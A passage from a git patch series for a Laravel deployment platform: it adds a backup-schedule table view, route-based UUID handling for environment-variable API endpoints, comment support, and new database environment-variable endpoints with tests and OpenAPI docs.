+ + + + + + + + + + + @foreach ($groupedBackups as $backups) + @php + $firstBackup = $backups->first(); + $database = $firstBackup->database; + $databaseName = $database?->name ?? 'Deleted database'; + $resourceLink = null; + $backupParams = null; + if ($database && $database instanceof \App\Models\ServiceDatabase) { + $service = $database->service; + if ($service) { + $environment = $service->environment; + $project = $environment?->project; + if ($project && $environment) { + $resourceLink = route('project.service.configuration', [ + 'project_uuid' => $project->uuid, + 'environment_uuid' => $environment->uuid, + 'service_uuid' => $service->uuid, + ]); + } + } + } elseif ($database) { + $environment = $database->environment; + $project = $environment?->project; + if ($project && $environment) { + $resourceLink = route('project.database.backup.index', [ + 'project_uuid' => $project->uuid, + 'environment_uuid' => $environment->uuid, + 'database_uuid' => $database->uuid, + ]); + $backupParams = [ + 'project_uuid' => $project->uuid, + 'environment_uuid' => $environment->uuid, + 'database_uuid' => $database->uuid, + ]; + } + } + @endphp + @foreach ($backups as $backup) + + + + + + + @endforeach + @endforeach + +
DatabaseFrequencyStatusS3 Storage
+ @if ($resourceLink) + {{ $databaseName }} + @else + {{ $databaseName }} + @endif + + @php + $backupLink = null; + if ($backupParams) { + $backupLink = route('project.database.backup.execution', array_merge($backupParams, [ + 'backup_uuid' => $backup->uuid, + ])); + } + @endphp + @if ($backupLink) + {{ $backup->frequency }} + @else + {{ $backup->frequency }} + @endif + + @if ($backup->enabled) + Enabled + @else + Disabled + @endif + +
+ + Save + Disable S3 +
+
+
- @empty -
No backup schedules are using this storage.
- @endforelse + @else +
No backup schedules are using this storage.
+ @endif
From 8a164735cb3bb046aa8d5a10e3f6d077bd961dce Mon Sep 17 00:00:00 2001 From: Andras Bacsai <5845193+andrasbacsai@users.noreply.github.com> Date: Thu, 19 Mar 2026 21:56:58 +0100 Subject: [PATCH 44/51] fix(api): extract resource UUIDs from route parameters Extract resource UUIDs from route parameters instead of request body in ApplicationsController and ServicesController environment variable endpoints. This prevents UUID parameters from being spoofed in the request body. - Replace $request->uuid with $request->route('uuid') - Replace $request->env_uuid with $request->route('env_uuid') - Add tests verifying route parameters are used and body UUIDs ignored --- .../Api/ApplicationsController.php | 10 +-- .../Controllers/Api/ServicesController.php | 10 +-- .../EnvironmentVariableUpdateApiTest.php | 62 ++++++++++++++++++- 3 files changed, 71 insertions(+), 11 deletions(-) diff --git a/app/Http/Controllers/Api/ApplicationsController.php b/app/Http/Controllers/Api/ApplicationsController.php index 6f34b43bf..5819441b7 100644 --- a/app/Http/Controllers/Api/ApplicationsController.php +++ b/app/Http/Controllers/Api/ApplicationsController.php @@ -2957,7 +2957,7 @@ public function update_env_by_uuid(Request $request) if ($return instanceof \Illuminate\Http\JsonResponse) { return $return; } - $application = Application::ownedByCurrentTeamAPI($teamId)->where('uuid', $request->uuid)->first(); + $application = Application::ownedByCurrentTeamAPI($teamId)->where('uuid', $request->route('uuid'))->first(); if (! $application) { return response()->json([ @@ -3158,7 +3158,7 @@ public function create_bulk_envs(Request $request) if ($return instanceof \Illuminate\Http\JsonResponse) { return $return; } - $application = Application::ownedByCurrentTeamAPI($teamId)->where('uuid', $request->uuid)->first(); + $application = Application::ownedByCurrentTeamAPI($teamId)->where('uuid', $request->route('uuid'))->first(); if (! $application) { return response()->json([ @@ -3352,7 +3352,7 @@ public function create_env(Request $request) if (is_null($teamId)) { return invalidTokenResponse(); } - $application = Application::ownedByCurrentTeamAPI($teamId)->where('uuid', $request->uuid)->first(); + $application = Application::ownedByCurrentTeamAPI($teamId)->where('uuid', $request->route('uuid'))->first(); if (! $application) { return response()->json([ @@ -3509,7 +3509,7 @@ public function delete_env_by_uuid(Request $request) if (is_null($teamId)) { return invalidTokenResponse(); } - $application = Application::ownedByCurrentTeamAPI($teamId)->where('uuid', $request->uuid)->first(); + $application = Application::ownedByCurrentTeamAPI($teamId)->where('uuid', $request->route('uuid'))->first(); if (! $application) { return response()->json([ @@ -3519,7 +3519,7 @@ public function delete_env_by_uuid(Request $request) $this->authorize('manageEnvironment', $application); - $found_env = EnvironmentVariable::where('uuid', $request->env_uuid) + $found_env = EnvironmentVariable::where('uuid', $request->route('env_uuid')) ->where('resourceable_type', Application::class) ->where('resourceable_id', $application->id) ->first(); diff --git a/app/Http/Controllers/Api/ServicesController.php b/app/Http/Controllers/Api/ServicesController.php index 32097443e..de504c1a4 100644 --- a/app/Http/Controllers/Api/ServicesController.php +++ b/app/Http/Controllers/Api/ServicesController.php @@ -1207,7 +1207,7 @@ public function update_env_by_uuid(Request $request) return invalidTokenResponse(); } - $service = Service::whereRelation('environment.project.team', 'id', $teamId)->whereUuid($request->uuid)->first(); + $service = Service::whereRelation('environment.project.team', 'id', $teamId)->whereUuid($request->route('uuid'))->first(); if (! $service) { return response()->json(['message' => 'Service not found.'], 404); } @@ -1342,7 +1342,7 @@ public function create_bulk_envs(Request $request) return invalidTokenResponse(); } - $service = Service::whereRelation('environment.project.team', 'id', $teamId)->whereUuid($request->uuid)->first(); + $service = Service::whereRelation('environment.project.team', 'id', $teamId)->whereUuid($request->route('uuid'))->first(); if (! $service) { return response()->json(['message' => 'Service not found.'], 404); } @@ -1461,7 +1461,7 @@ public function create_env(Request $request) return invalidTokenResponse(); } - $service = Service::whereRelation('environment.project.team', 'id', $teamId)->whereUuid($request->uuid)->first(); + $service = Service::whereRelation('environment.project.team', 'id', $teamId)->whereUuid($request->route('uuid'))->first(); if (! $service) { return response()->json(['message' => 'Service not found.'], 404); } @@ -1570,14 +1570,14 @@ public function delete_env_by_uuid(Request $request) return invalidTokenResponse(); } - $service = Service::whereRelation('environment.project.team', 'id', $teamId)->whereUuid($request->uuid)->first(); + $service = Service::whereRelation('environment.project.team', 'id', $teamId)->whereUuid($request->route('uuid'))->first(); if (! $service) { return response()->json(['message' => 'Service not found.'], 404); } $this->authorize('manageEnvironment', $service); - $env = EnvironmentVariable::where('uuid', $request->env_uuid) + $env = EnvironmentVariable::where('uuid', $request->route('env_uuid')) ->where('resourceable_type', Service::class) ->where('resourceable_id', $service->id) ->first(); diff --git a/tests/Feature/EnvironmentVariableUpdateApiTest.php b/tests/Feature/EnvironmentVariableUpdateApiTest.php index 9c45dc5ae..1ff528bbf 100644 --- a/tests/Feature/EnvironmentVariableUpdateApiTest.php +++ b/tests/Feature/EnvironmentVariableUpdateApiTest.php @@ -3,6 +3,7 @@ use App\Models\Application; use App\Models\Environment; use App\Models\EnvironmentVariable; +use App\Models\InstanceSettings; use App\Models\Project; use App\Models\Server; use App\Models\Service; @@ -14,6 +15,8 @@ uses(RefreshDatabase::class); beforeEach(function () { + InstanceSettings::updateOrCreate(['id' => 0]); + $this->team = Team::factory()->create(); $this->user = User::factory()->create(); $this->team->members()->attach($this->user->id, ['role' => 'owner']); @@ -24,7 +27,7 @@ $this->bearerToken = $this->token->plainTextToken; $this->server = Server::factory()->create(['team_id' => $this->team->id]); - $this->destination = StandaloneDocker::factory()->create(['server_id' => $this->server->id]); + $this->destination = StandaloneDocker::where('server_id', $this->server->id)->first(); $this->project = Project::factory()->create(['team_id' => $this->team->id]); $this->environment = Environment::factory()->create(['project_id' => $this->project->id]); }); @@ -117,6 +120,35 @@ $response->assertStatus(422); }); + + test('uses route uuid and ignores uuid in request body', function () { + $service = Service::factory()->create([ + 'server_id' => $this->server->id, + 'destination_id' => $this->destination->id, + 'destination_type' => $this->destination->getMorphClass(), + 'environment_id' => $this->environment->id, + ]); + + EnvironmentVariable::create([ + 'key' => 'TEST_KEY', + 'value' => 'old-value', + 'resourceable_type' => Service::class, + 'resourceable_id' => $service->id, + 'is_preview' => false, + ]); + + $response = $this->withHeaders([ + 'Authorization' => 'Bearer '.$this->bearerToken, + 'Content-Type' => 'application/json', + ])->patchJson("/api/v1/services/{$service->uuid}/envs", [ + 'key' => 'TEST_KEY', + 'value' => 'new-value', + 'uuid' => 'bogus-uuid-from-body', + ]); + + $response->assertStatus(201); + $response->assertJsonFragment(['key' => 'TEST_KEY']); + }); }); describe('PATCH /api/v1/applications/{uuid}/envs', function () { @@ -191,4 +223,32 @@ $response->assertStatus(422); }); + + test('rejects unknown fields in request body', function () { + $application = Application::factory()->create([ + 'environment_id' => $this->environment->id, + 'destination_id' => $this->destination->id, + 'destination_type' => $this->destination->getMorphClass(), + ]); + + EnvironmentVariable::create([ + 'key' => 'TEST_KEY', + 'value' => 'old-value', + 'resourceable_type' => Application::class, + 'resourceable_id' => $application->id, + 'is_preview' => false, + ]); + + $response = $this->withHeaders([ + 'Authorization' => 'Bearer '.$this->bearerToken, + 'Content-Type' => 'application/json', + ])->patchJson("/api/v1/applications/{$application->uuid}/envs", [ + 'key' => 'TEST_KEY', + 'value' => 'new-value', + 'uuid' => 'bogus-uuid-from-body', + ]); + + $response->assertStatus(422); + $response->assertJsonFragment(['uuid' => ['This field is not allowed.']]); + }); }); From fb76b68c0822df5616320d8fbc8624fd0d8b3d17 Mon Sep 17 00:00:00 2001 From: Andras Bacsai <5845193+andrasbacsai@users.noreply.github.com> Date: Thu, 19 Mar 2026 22:17:55 +0100 Subject: [PATCH 45/51] feat(api): support comments in bulk environment variable endpoints Add support for optional comment field on environment variables created or updated through the bulk API endpoints. Comments are validated to a maximum of 256 characters and are nullable. Updates preserve existing comments when not provided in the request. --- .../Api/ApplicationsController.php | 11 +- .../Controllers/Api/ServicesController.php | 1 + .../EnvironmentVariableBulkCommentApiTest.php | 244 ++++++++++++++++++ 3 files changed, 255 insertions(+), 1 deletion(-) create mode 100644 tests/Feature/EnvironmentVariableBulkCommentApiTest.php diff --git a/app/Http/Controllers/Api/ApplicationsController.php b/app/Http/Controllers/Api/ApplicationsController.php index 5819441b7..3444f9f14 100644 --- a/app/Http/Controllers/Api/ApplicationsController.php +++ b/app/Http/Controllers/Api/ApplicationsController.php @@ -3175,7 +3175,7 @@ public function create_bulk_envs(Request $request) ], 400); } $bulk_data = collect($bulk_data)->map(function ($item) { - return collect($item)->only(['key', 'value', 'is_preview', 'is_literal', 'is_multiline', 'is_shown_once', 'is_runtime', 'is_buildtime']); + return collect($item)->only(['key', 'value', 'is_preview', 'is_literal', 'is_multiline', 'is_shown_once', 'is_runtime', 'is_buildtime', 'comment']); }); $returnedEnvs = collect(); foreach ($bulk_data as $item) { @@ -3188,6 +3188,7 @@ public function create_bulk_envs(Request $request) 'is_shown_once' => 'boolean', 'is_runtime' => 'boolean', 'is_buildtime' => 'boolean', + 'comment' => 'string|nullable|max:256', ]); if ($validator->fails()) { return response()->json([ @@ -3220,6 +3221,9 @@ public function create_bulk_envs(Request $request) if ($item->has('is_buildtime') && $env->is_buildtime != $item->get('is_buildtime')) { $env->is_buildtime = $item->get('is_buildtime'); } + if ($item->has('comment') && $env->comment != $item->get('comment')) { + $env->comment = $item->get('comment'); + } $env->save(); } else { $env = $application->environment_variables()->create([ @@ -3231,6 +3235,7 @@ public function create_bulk_envs(Request $request) 'is_shown_once' => $is_shown_once, 'is_runtime' => $item->get('is_runtime', true), 'is_buildtime' => $item->get('is_buildtime', true), + 'comment' => $item->get('comment'), 'resourceable_type' => get_class($application), 'resourceable_id' => $application->id, ]); @@ -3254,6 +3259,9 @@ public function create_bulk_envs(Request $request) if ($item->has('is_buildtime') && $env->is_buildtime != $item->get('is_buildtime')) { $env->is_buildtime = $item->get('is_buildtime'); } + if ($item->has('comment') && $env->comment != $item->get('comment')) { + $env->comment = $item->get('comment'); + } $env->save(); } else { $env = $application->environment_variables()->create([ @@ -3265,6 +3273,7 @@ public function create_bulk_envs(Request $request) 'is_shown_once' => $is_shown_once, 'is_runtime' => $item->get('is_runtime', true), 'is_buildtime' => $item->get('is_buildtime', true), + 'comment' => $item->get('comment'), 'resourceable_type' => get_class($application), 'resourceable_id' => $application->id, ]); diff --git a/app/Http/Controllers/Api/ServicesController.php b/app/Http/Controllers/Api/ServicesController.php index de504c1a4..4caee26dd 100644 --- a/app/Http/Controllers/Api/ServicesController.php +++ b/app/Http/Controllers/Api/ServicesController.php @@ -1362,6 +1362,7 @@ public function create_bulk_envs(Request $request) 'is_literal' => 'boolean', 'is_multiline' => 'boolean', 'is_shown_once' => 'boolean', + 'comment' => 'string|nullable|max:256', ]); if ($validator->fails()) { diff --git a/tests/Feature/EnvironmentVariableBulkCommentApiTest.php b/tests/Feature/EnvironmentVariableBulkCommentApiTest.php new file mode 100644 index 000000000..f038ad682 --- /dev/null +++ b/tests/Feature/EnvironmentVariableBulkCommentApiTest.php @@ -0,0 +1,244 @@ + 0]); + + $this->team = Team::factory()->create(); + $this->user = User::factory()->create(); + $this->team->members()->attach($this->user->id, ['role' => 'owner']); + + session(['currentTeam' => $this->team]); + + $this->token = $this->user->createToken('test-token', ['*']); + $this->bearerToken = $this->token->plainTextToken; + + $this->server = Server::factory()->create(['team_id' => $this->team->id]); + $this->destination = StandaloneDocker::where('server_id', $this->server->id)->first(); + $this->project = Project::factory()->create(['team_id' => $this->team->id]); + $this->environment = Environment::factory()->create(['project_id' => $this->project->id]); +}); + +describe('PATCH /api/v1/applications/{uuid}/envs/bulk', function () { + test('creates environment variables with comments', function () { + $application = Application::factory()->create([ + 'environment_id' => $this->environment->id, + 'destination_id' => $this->destination->id, + 'destination_type' => $this->destination->getMorphClass(), + ]); + + $response = $this->withHeaders([ + 'Authorization' => 'Bearer '.$this->bearerToken, + 'Content-Type' => 'application/json', + ])->patchJson("/api/v1/applications/{$application->uuid}/envs/bulk", [ + 'data' => [ + [ + 'key' => 'DB_HOST', + 'value' => 'localhost', + 'comment' => 'Database host for production', + ], + [ + 'key' => 'DB_PORT', + 'value' => '5432', + ], + ], + ]); + + $response->assertStatus(201); + + $envWithComment = EnvironmentVariable::where('key', 'DB_HOST') + ->where('resourceable_id', $application->id) + ->where('is_preview', false) + ->first(); + + $envWithoutComment = EnvironmentVariable::where('key', 'DB_PORT') + ->where('resourceable_id', $application->id) + ->where('is_preview', false) + ->first(); + + expect($envWithComment->comment)->toBe('Database host for production'); + expect($envWithoutComment->comment)->toBeNull(); + }); + + test('updates existing environment variable comment', function () { + $application = Application::factory()->create([ + 'environment_id' => $this->environment->id, + 'destination_id' => $this->destination->id, + 'destination_type' => $this->destination->getMorphClass(), + ]); + + EnvironmentVariable::create([ + 'key' => 'API_KEY', + 'value' => 'old-key', + 'comment' => 'Old comment', + 'resourceable_type' => Application::class, + 'resourceable_id' => $application->id, + 'is_preview' => false, + ]); + + $response = $this->withHeaders([ + 'Authorization' => 'Bearer '.$this->bearerToken, + 'Content-Type' => 'application/json', + ])->patchJson("/api/v1/applications/{$application->uuid}/envs/bulk", [ + 'data' => [ + [ + 'key' => 'API_KEY', + 'value' => 'new-key', + 'comment' => 'Updated comment', + ], + ], + ]); + + $response->assertStatus(201); + + $env = EnvironmentVariable::where('key', 'API_KEY') + ->where('resourceable_id', $application->id) + ->where('is_preview', false) + ->first(); + + expect($env->value)->toBe('new-key'); + expect($env->comment)->toBe('Updated comment'); + }); + + test('preserves existing comment when not provided in bulk update', function () { + $application = Application::factory()->create([ + 'environment_id' => $this->environment->id, + 'destination_id' => $this->destination->id, + 'destination_type' => $this->destination->getMorphClass(), + ]); + + EnvironmentVariable::create([ + 'key' => 'SECRET', + 'value' => 'old-secret', + 'comment' => 'Keep this comment', + 'resourceable_type' => Application::class, + 'resourceable_id' => $application->id, + 'is_preview' => false, + ]); + + $response = $this->withHeaders([ + 'Authorization' => 'Bearer '.$this->bearerToken, + 'Content-Type' => 'application/json', + ])->patchJson("/api/v1/applications/{$application->uuid}/envs/bulk", [ + 'data' => [ + [ + 'key' => 'SECRET', + 'value' => 'new-secret', + ], + ], + ]); + + $response->assertStatus(201); + + $env = EnvironmentVariable::where('key', 'SECRET') + ->where('resourceable_id', $application->id) + ->where('is_preview', false) + ->first(); + + expect($env->value)->toBe('new-secret'); + expect($env->comment)->toBe('Keep this comment'); + }); + + test('rejects comment exceeding 256 characters', function () { + $application = Application::factory()->create([ + 'environment_id' => $this->environment->id, + 'destination_id' => $this->destination->id, + 'destination_type' => $this->destination->getMorphClass(), + ]); + + $response = $this->withHeaders([ + 'Authorization' => 'Bearer '.$this->bearerToken, + 'Content-Type' => 'application/json', + ])->patchJson("/api/v1/applications/{$application->uuid}/envs/bulk", [ + 'data' => [ + [ + 'key' => 'TEST_VAR', + 'value' => 'value', + 'comment' => str_repeat('a', 257), + ], + ], + ]); + + $response->assertStatus(422); + }); +}); + +describe('PATCH /api/v1/services/{uuid}/envs/bulk', function () { + test('creates environment variables with comments', function () { + $service = Service::factory()->create([ + 'server_id' => $this->server->id, + 'destination_id' => $this->destination->id, + 'destination_type' => $this->destination->getMorphClass(), + 'environment_id' => $this->environment->id, + ]); + + $response = $this->withHeaders([ + 'Authorization' => 'Bearer '.$this->bearerToken, + 'Content-Type' => 'application/json', + ])->patchJson("/api/v1/services/{$service->uuid}/envs/bulk", [ + 'data' => [ + [ + 'key' => 'REDIS_HOST', + 'value' => 'redis', + 'comment' => 'Redis cache host', + ], + [ + 'key' => 'REDIS_PORT', + 'value' => '6379', + ], + ], + ]); + + $response->assertStatus(201); + + $envWithComment = EnvironmentVariable::where('key', 'REDIS_HOST') + ->where('resourceable_id', $service->id) + ->where('resourceable_type', Service::class) + ->first(); + + $envWithoutComment = EnvironmentVariable::where('key', 'REDIS_PORT') + ->where('resourceable_id', $service->id) + ->where('resourceable_type', Service::class) + ->first(); + + expect($envWithComment->comment)->toBe('Redis cache host'); + expect($envWithoutComment->comment)->toBeNull(); + }); + + test('rejects comment exceeding 256 characters', function () { + $service = Service::factory()->create([ + 'server_id' => $this->server->id, + 'destination_id' => $this->destination->id, + 'destination_type' => $this->destination->getMorphClass(), + 'environment_id' => $this->environment->id, + ]); + + $response = $this->withHeaders([ + 'Authorization' => 'Bearer '.$this->bearerToken, + 'Content-Type' => 'application/json', + ])->patchJson("/api/v1/services/{$service->uuid}/envs/bulk", [ + 'data' => [ + [ + 'key' => 'TEST_VAR', + 'value' => 'value', + 'comment' => str_repeat('a', 257), + ], + ], + ]); + + $response->assertStatus(422); + }); +}); From c00d5de03e9a943270db8bebe7e360b444da24b8 Mon Sep 17 00:00:00 2001 From: Andras Bacsai <5845193+andrasbacsai@users.noreply.github.com> Date: Thu, 19 Mar 2026 23:29:50 +0100 Subject: [PATCH 46/51] feat(api): add database environment variable management endpoints Add CRUD API endpoints for managing environment variables on databases: - GET /databases/{uuid}/envs - list environment variables - POST /databases/{uuid}/envs - create environment variable - PATCH /databases/{uuid}/envs - update environment variable - PATCH /databases/{uuid}/envs/bulk - bulk create environment variables - DELETE /databases/{uuid}/envs/{env_uuid} - delete environment variable Includes comprehensive test suite and OpenAPI documentation. --- .../Controllers/Api/DatabasesController.php | 548 ++++++++++++++++++ openapi.json | 381 ++++++++++++ openapi.yaml | 236 ++++++++ routes/api.php | 6 + .../DatabaseEnvironmentVariableApiTest.php | 346 +++++++++++ 5 files changed, 1517 insertions(+) create mode 100644 tests/Feature/DatabaseEnvironmentVariableApiTest.php diff --git a/app/Http/Controllers/Api/DatabasesController.php b/app/Http/Controllers/Api/DatabasesController.php index f7a62cf90..6ad18d872 100644 --- a/app/Http/Controllers/Api/DatabasesController.php +++ b/app/Http/Controllers/Api/DatabasesController.php @@ -11,6 +11,7 @@ use App\Http\Controllers\Controller; use App\Jobs\DatabaseBackupJob; use App\Jobs\DeleteResourceJob; +use App\Models\EnvironmentVariable; use App\Models\Project; use App\Models\S3Storage; use App\Models\ScheduledDatabaseBackup; @@ -2750,4 +2751,551 @@ public function action_restart(Request $request) 200 ); } + + private function removeSensitiveEnvData($env) + { + $env->makeHidden([ + 'id', + 'resourceable', + 'resourceable_id', + 'resourceable_type', + ]); + if (request()->attributes->get('can_read_sensitive', false) === false) { + $env->makeHidden([ + 'value', + 'real_value', + ]); + } + + return serializeApiResponse($env); + } + + #[OA\Get( + summary: 'List Envs', + description: 'List all envs by database UUID.', + path: '/databases/{uuid}/envs', + operationId: 'list-envs-by-database-uuid', + security: [ + ['bearerAuth' => []], + ], + tags: ['Databases'], + parameters: [ + new OA\Parameter( + name: 'uuid', + in: 'path', + description: 'UUID of the database.', + required: true, + schema: new OA\Schema( + type: 'string', + ) + ), + ], + responses: [ + new OA\Response( + response: 200, + description: 'Environment variables.', + content: [ + new OA\MediaType( + mediaType: 'application/json', + schema: new OA\Schema( + type: 'array', + items: new OA\Items(ref: '#/components/schemas/EnvironmentVariable') + ) + ), + ] + ), + new OA\Response( + response: 401, + ref: '#/components/responses/401', + ), + new OA\Response( + response: 400, + ref: '#/components/responses/400', + ), + new OA\Response( + response: 404, + ref: '#/components/responses/404', + ), + ] + )] + public function envs(Request $request) + { + $teamId = getTeamIdFromToken(); + if (is_null($teamId)) { + return invalidTokenResponse(); + } + $database = queryDatabaseByUuidWithinTeam($request->uuid, $teamId); + if (! $database) { + return response()->json(['message' => 'Database not found.'], 404); + } + + $this->authorize('view', $database); + + $envs = $database->environment_variables->map(function ($env) { + return $this->removeSensitiveEnvData($env); + }); + + return response()->json($envs); + } + + #[OA\Patch( + summary: 'Update Env', + description: 'Update env by database UUID.', + path: '/databases/{uuid}/envs', + operationId: 'update-env-by-database-uuid', + security: [ + ['bearerAuth' => []], + ], + tags: ['Databases'], + parameters: [ + new OA\Parameter( + name: 'uuid', + in: 'path', + description: 'UUID of the database.', + required: true, + schema: new OA\Schema( + type: 'string', + ) + ), + ], + requestBody: new OA\RequestBody( + description: 'Env updated.', + required: true, + content: [ + new OA\MediaType( + mediaType: 'application/json', + schema: new OA\Schema( + type: 'object', + required: ['key', 'value'], + properties: [ + 'key' => ['type' => 'string', 'description' => 'The key of the environment variable.'], + 'value' => ['type' => 'string', 'description' => 'The value of the environment variable.'], + 'is_literal' => ['type' => 'boolean', 'description' => 'The flag to indicate if the environment variable is a literal, nothing espaced.'], + 'is_multiline' => ['type' => 'boolean', 'description' => 'The flag to indicate if the environment variable is multiline.'], + 'is_shown_once' => ['type' => 'boolean', 'description' => 'The flag to indicate if the environment variable\'s value is shown on the UI.'], + ], + ), + ), + ], + ), + responses: [ + new OA\Response( + response: 201, + description: 'Environment variable updated.', + content: [ + new OA\MediaType( + mediaType: 'application/json', + schema: new OA\Schema( + ref: '#/components/schemas/EnvironmentVariable' + ) + ), + ] + ), + new OA\Response( + response: 401, + ref: '#/components/responses/401', + ), + new OA\Response( + response: 400, + ref: '#/components/responses/400', + ), + new OA\Response( + response: 404, + ref: '#/components/responses/404', + ), + new OA\Response( + response: 422, + ref: '#/components/responses/422', + ), + ] + )] + public function update_env_by_uuid(Request $request) + { + $teamId = getTeamIdFromToken(); + if (is_null($teamId)) { + return invalidTokenResponse(); + } + + $database = queryDatabaseByUuidWithinTeam($request->route('uuid'), $teamId); + if (! $database) { + return response()->json(['message' => 'Database not found.'], 404); + } + + $this->authorize('manageEnvironment', $database); + + $validator = customApiValidator($request->all(), [ + 'key' => 'string|required', + 'value' => 'string|nullable', + 'is_literal' => 'boolean', + 'is_multiline' => 'boolean', + 'is_shown_once' => 'boolean', + 'comment' => 'string|nullable|max:256', + ]); + + if ($validator->fails()) { + return response()->json([ + 'message' => 'Validation failed.', + 'errors' => $validator->errors(), + ], 422); + } + + $key = str($request->key)->trim()->replace(' ', '_')->value; + $env = $database->environment_variables()->where('key', $key)->first(); + if (! $env) { + return response()->json(['message' => 'Environment variable not found.'], 404); + } + + $env->value = $request->value; + if ($request->has('is_literal')) { + $env->is_literal = $request->is_literal; + } + if ($request->has('is_multiline')) { + $env->is_multiline = $request->is_multiline; + } + if ($request->has('is_shown_once')) { + $env->is_shown_once = $request->is_shown_once; + } + if ($request->has('comment')) { + $env->comment = $request->comment; + } + $env->save(); + + return response()->json($this->removeSensitiveEnvData($env))->setStatusCode(201); + } + + #[OA\Patch( + summary: 'Update Envs (Bulk)', + description: 'Update multiple envs by database UUID.', + path: '/databases/{uuid}/envs/bulk', + operationId: 'update-envs-by-database-uuid', + security: [ + ['bearerAuth' => []], + ], + tags: ['Databases'], + parameters: [ + new OA\Parameter( + name: 'uuid', + in: 'path', + description: 'UUID of the database.', + required: true, + schema: new OA\Schema( + type: 'string', + ) + ), + ], + requestBody: new OA\RequestBody( + description: 'Bulk envs updated.', + required: true, + content: [ + new OA\MediaType( + mediaType: 'application/json', + schema: new OA\Schema( + type: 'object', + required: ['data'], + properties: [ + 'data' => [ + 'type' => 'array', + 'items' => new OA\Schema( + type: 'object', + properties: [ + 'key' => ['type' => 'string', 'description' => 'The key of the environment variable.'], + 'value' => ['type' => 'string', 'description' => 'The value of the environment variable.'], + 'is_literal' => ['type' => 'boolean', 'description' => 'The flag to indicate if the environment variable is a literal, nothing espaced.'], + 'is_multiline' => ['type' => 'boolean', 'description' => 'The flag to indicate if the environment variable is multiline.'], + 'is_shown_once' => ['type' => 'boolean', 'description' => 'The flag to indicate if the environment variable\'s value is shown on the UI.'], + ], + ), + ], + ], + ), + ), + ], + ), + responses: [ + new OA\Response( + response: 201, + description: 'Environment variables updated.', + content: [ + new OA\MediaType( + mediaType: 'application/json', + schema: new OA\Schema( + type: 'array', + items: new OA\Items(ref: '#/components/schemas/EnvironmentVariable') + ) + ), + ] + ), + new OA\Response( + response: 401, + ref: '#/components/responses/401', + ), + new OA\Response( + response: 400, + ref: '#/components/responses/400', + ), + new OA\Response( + response: 404, + ref: '#/components/responses/404', + ), + new OA\Response( + response: 422, + ref: '#/components/responses/422', + ), + ] + )] + public function create_bulk_envs(Request $request) + { + $teamId = getTeamIdFromToken(); + if (is_null($teamId)) { + return invalidTokenResponse(); + } + + $database = queryDatabaseByUuidWithinTeam($request->route('uuid'), $teamId); + if (! $database) { + return response()->json(['message' => 'Database not found.'], 404); + } + + $this->authorize('manageEnvironment', $database); + + $bulk_data = $request->get('data'); + if (! $bulk_data) { + return response()->json(['message' => 'Bulk data is required.'], 400); + } + + $updatedEnvs = collect(); + foreach ($bulk_data as $item) { + $validator = customApiValidator($item, [ + 'key' => 'string|required', + 'value' => 'string|nullable', + 'is_literal' => 'boolean', + 'is_multiline' => 'boolean', + 'is_shown_once' => 'boolean', + 'comment' => 'string|nullable|max:256', + ]); + + if ($validator->fails()) { + return response()->json([ + 'message' => 'Validation failed.', + 'errors' => $validator->errors(), + ], 422); + } + $key = str($item['key'])->trim()->replace(' ', '_')->value; + $env = $database->environment_variables()->updateOrCreate( + ['key' => $key], + $item + ); + + $updatedEnvs->push($this->removeSensitiveEnvData($env)); + } + + return response()->json($updatedEnvs)->setStatusCode(201); + } + + #[OA\Post( + summary: 'Create Env', + description: 'Create env by database UUID.', + path: '/databases/{uuid}/envs', + operationId: 'create-env-by-database-uuid', + security: [ + ['bearerAuth' => []], + ], + tags: ['Databases'], + parameters: [ + new OA\Parameter( + name: 'uuid', + in: 'path', + description: 'UUID of the database.', + required: true, + schema: new OA\Schema( + type: 'string', + ) + ), + ], + requestBody: new OA\RequestBody( + required: true, + description: 'Env created.', + content: new OA\MediaType( + mediaType: 'application/json', + schema: new OA\Schema( + type: 'object', + properties: [ + 'key' => ['type' => 'string', 'description' => 'The key of the environment variable.'], + 'value' => ['type' => 'string', 'description' => 'The value of the environment variable.'], + 'is_literal' => ['type' => 'boolean', 'description' => 'The flag to indicate if the environment variable is a literal, nothing espaced.'], + 'is_multiline' => ['type' => 'boolean', 'description' => 'The flag to indicate if the environment variable is multiline.'], + 'is_shown_once' => ['type' => 'boolean', 'description' => 'The flag to indicate if the environment variable\'s value is shown on the UI.'], + ], + ), + ), + ), + responses: [ + new OA\Response( + response: 201, + description: 'Environment variable created.', + content: [ + new OA\MediaType( + mediaType: 'application/json', + schema: new OA\Schema( + type: 'object', + properties: [ + 'uuid' => ['type' => 'string', 'example' => 'nc0k04gk8g0cgsk440g0koko'], + ] + ) + ), + ] + ), + new OA\Response( + response: 401, + ref: '#/components/responses/401', + ), + new OA\Response( + response: 400, + ref: '#/components/responses/400', + ), + new OA\Response( + response: 404, + ref: '#/components/responses/404', + ), + new OA\Response( + response: 422, + ref: '#/components/responses/422', + ), + ] + )] + public function create_env(Request $request) + { + $teamId = getTeamIdFromToken(); + if (is_null($teamId)) { + return invalidTokenResponse(); + } + + $database = queryDatabaseByUuidWithinTeam($request->route('uuid'), $teamId); + if (! $database) { + return response()->json(['message' => 'Database not found.'], 404); + } + + $this->authorize('manageEnvironment', $database); + + $validator = customApiValidator($request->all(), [ + 'key' => 'string|required', + 'value' => 'string|nullable', + 'is_literal' => 'boolean', + 'is_multiline' => 'boolean', + 'is_shown_once' => 'boolean', + 'comment' => 'string|nullable|max:256', + ]); + + if ($validator->fails()) { + return response()->json([ + 'message' => 'Validation failed.', + 'errors' => $validator->errors(), + ], 422); + } + + $key = str($request->key)->trim()->replace(' ', '_')->value; + $existingEnv = $database->environment_variables()->where('key', $key)->first(); + if ($existingEnv) { + return response()->json([ + 'message' => 'Environment variable already exists. Use PATCH request to update it.', + ], 409); + } + + $env = $database->environment_variables()->create([ + 'key' => $key, + 'value' => $request->value, + 'is_literal' => $request->is_literal ?? false, + 'is_multiline' => $request->is_multiline ?? false, + 'is_shown_once' => $request->is_shown_once ?? false, + 'comment' => $request->comment ?? null, + ]); + + return response()->json($this->removeSensitiveEnvData($env))->setStatusCode(201); + } + + #[OA\Delete( + summary: 'Delete Env', + description: 'Delete env by UUID.', + path: '/databases/{uuid}/envs/{env_uuid}', + operationId: 'delete-env-by-database-uuid', + security: [ + ['bearerAuth' => []], + ], + tags: ['Databases'], + parameters: [ + new OA\Parameter( + name: 'uuid', + in: 'path', + description: 'UUID of the database.', + required: true, + schema: new OA\Schema( + type: 'string', + ) + ), + new OA\Parameter( + name: 'env_uuid', + in: 'path', + description: 'UUID of the environment variable.', + required: true, + schema: new OA\Schema( + type: 'string', + ) + ), + ], + responses: [ + new OA\Response( + response: 200, + description: 'Environment variable deleted.', + content: 